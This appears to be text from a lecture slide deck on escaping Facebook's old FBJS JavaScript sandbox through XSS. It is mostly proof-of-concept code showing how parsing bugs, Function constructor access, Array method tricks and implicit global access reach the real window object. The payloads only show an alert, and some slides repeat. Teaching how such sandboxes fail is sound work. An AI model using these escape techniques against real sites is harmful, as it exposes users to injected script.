Hacking Facebook

JavaScript Sandboxing and XSS Attacks

Jeff Walden

Plan

Hack 1a

<div>
<p><a onclick="exploit();">Exploit me!</a></p>
</div>
<script>
function exploit()
{
 var {__parent__: w} = exploit;
 w.alert("Hello world!");
}
</script>

Parsing vulnerability, non-standard extensions

Hack 1b

<div>
<p><a onclick="exploit();">Exploit me!</a></p>
</div>
<script>
function exploit()
{
 var {"__parent__": w} = exploit;
 w.alert("Hello world!");
}
</script>

Parsing vulnerability -- after previous bug fixed

Hack 1c

<div>
<p><a onclick="exploit();">Exploit me!</a></p>
</div>
<script>
// not even syntactically valid JS!
function exploit()
{
 exploit["") + ("constructor"]("alert('Hello world!')")();
}
</script>

Another parsing vulnerability (Eli Friedman of UCSD)

Hack 2

<div>
<p><a onclick="exploit();">Exploit me!</a></p>
</div>
<script>
function exploit()
{
 // The eval property on Object.prototype is a Mozilla
 // extension, and it's deprecated (and I believe
 // possibly removed from the sometime-to-be Firefox 3).
 ({}).eval("window.alert('Hello world!');");
}
</script>

Non-standard browser extensions to default functionality

Hack 3

<div>
<p><a onclick="exploit();">Exploit me!</a></p>
</div>
<script>
function exploit()
{
  (function(){}).constructor("alert('hi')")();
}
</script>

Incomplete understanding of JS (Neil Mix), implementation bugs

Hack 4

<div>
<p><a onclick="exploit();">Exploit me!</a></p>
</div>
<script>
function exploit()
{
  (function(){}).constructor("alert('hi')")();
}
</script>

Incomplete understanding of JS, implementation bugs

Hack 5

<div>
<p><a onclick="exploit();">Exploit me!</a></p>
</div>
<script>
function exploit()
{
  setTimeout("alert('hi')", 0);
}
</script>

Incomplete understanding of browser environment (Neil Mix)

So far

But wait! There's more...

A brief interlude

Hack 6

<div onclick="a(this)">asdf</div>
<script>
function a(obj)
{
  delete obj.constructor;
  // From here, I can access the constructor for obj
  // because it is stored on the prototype.
  var a = new obj.constructor({}, {});
  a.data={};
  obj.constructor.get_obj(a).removeChild = function(ch)
  {
    ch.ownerDocument.defaultView.alert("I win");
  };
  a.removeChild(obj);
}
//-->
</script>

Implementation mistake (Eli Friedman)

Hack 7

<div onclick="a(this);">asdf</div>
<script>
function a(obj) {
  obj.__instance = {};
  var z = 1;
  function asdf(){
    if (z) {
      z = 0;
      obby = asdf.caller(obj);
      z = 1;
    }
    return "0";
  };
  obj.__instance.toString = asdf;
  obj.setTextValue("zxcv");
  obby.ownerDocument.defaultView.alert("I win");
}
</script>

Implementation mistake (Eli Friedman)

Hack 7

<div onclick="a(this);">asdf</div>
<script>
function a(obj) {
  obj.__instance = {};
  var z = 1;
  function asdf(){
    if (z) {
      z = 0;
      obby = asdf.caller(obj);
      z = 1;
    }
    return "0";
  };
  obj.__instance.toString = asdf;
  obj.setTextValue("zxcv");
  obby.ownerDocument.defaultView.alert("I win");
}
</script>

Implementation mistake (Eli Friedman)

Hack 8

function a(obj) {
var r = document.setLocation;
r("").alert(1);
}

Implementation mistake (Eli Friedman)

Hack 9

function a(obj) {
1["__parent__"].alert(1);
}

Implementation mistake (Eli Friedman)

Hack 10

function boom()
{
 var win = null;
 var forEach = [].forEach;
 forEach(function(val, prop, thisp) {
   win = thisp;
 }, []);
 win.alert("Hello world!");
}
function a(obj) { // Eli Friedman, Safari-only
  [].push.call(null, {});
  [].forEach.call(null, function(r,s,t){t.alert(1);});
}

JS Array methods
JS Array extras (implementation extension)

Hack 11

var str = "";
var c = [];
function a(obj) {
({}).__defineGetter__.call(null,
                           "fbjs_private", function(){
  return ({
      get: function(f) {
        var r = {};
        c.push(r);
        return r;
      },
      remove: function(f){
        return true;
      }
    });
});
if (c.length>1) {
c[1].event.target.ownerDocument.defaultView.alert(1); 
}
}

Implementation extensions, implicit access to global object (Eli Friedman)

Hack 12

function a(obj) {
  var child = document.createElement("div");
  obj.__instance="call"; // should have been a number!
  a.call.instance=obj;
  a.call.obj={appendChild:
    function(r){r.ownerDocument.defaultView.alert(1);}
  };
  obj.appendChild(child);
}

Implementation errors (Eli Friedman)

Hack 13

function a(obj) {
  var child = document.createElement("div");
  obj.__instance="call"; // should have been a number!
  a.call.instance=obj;
  a.call.obj={appendChild:
    function(r){r.ownerDocument.defaultView.alert(1);}
  };
  obj.appendChild(child);
}

Implementation errors (Eli Friedman)

Hack 14

function a(obj) {
var r = a.__defineGetter__;
r("a2353941073_e", ([]).sort);
e.alert(1);
}
function a(obj) {
var r = a.__defineSetter__;
r("a2353941073_e", ([]).valueOf);
(e=10).alert(1);
}
function a(obj) {
var r = a.watch;
r("a2353941073_e", ([]).valueOf);
(e=10).alert(1);
}

Implicit global accesses (Eli Friedman)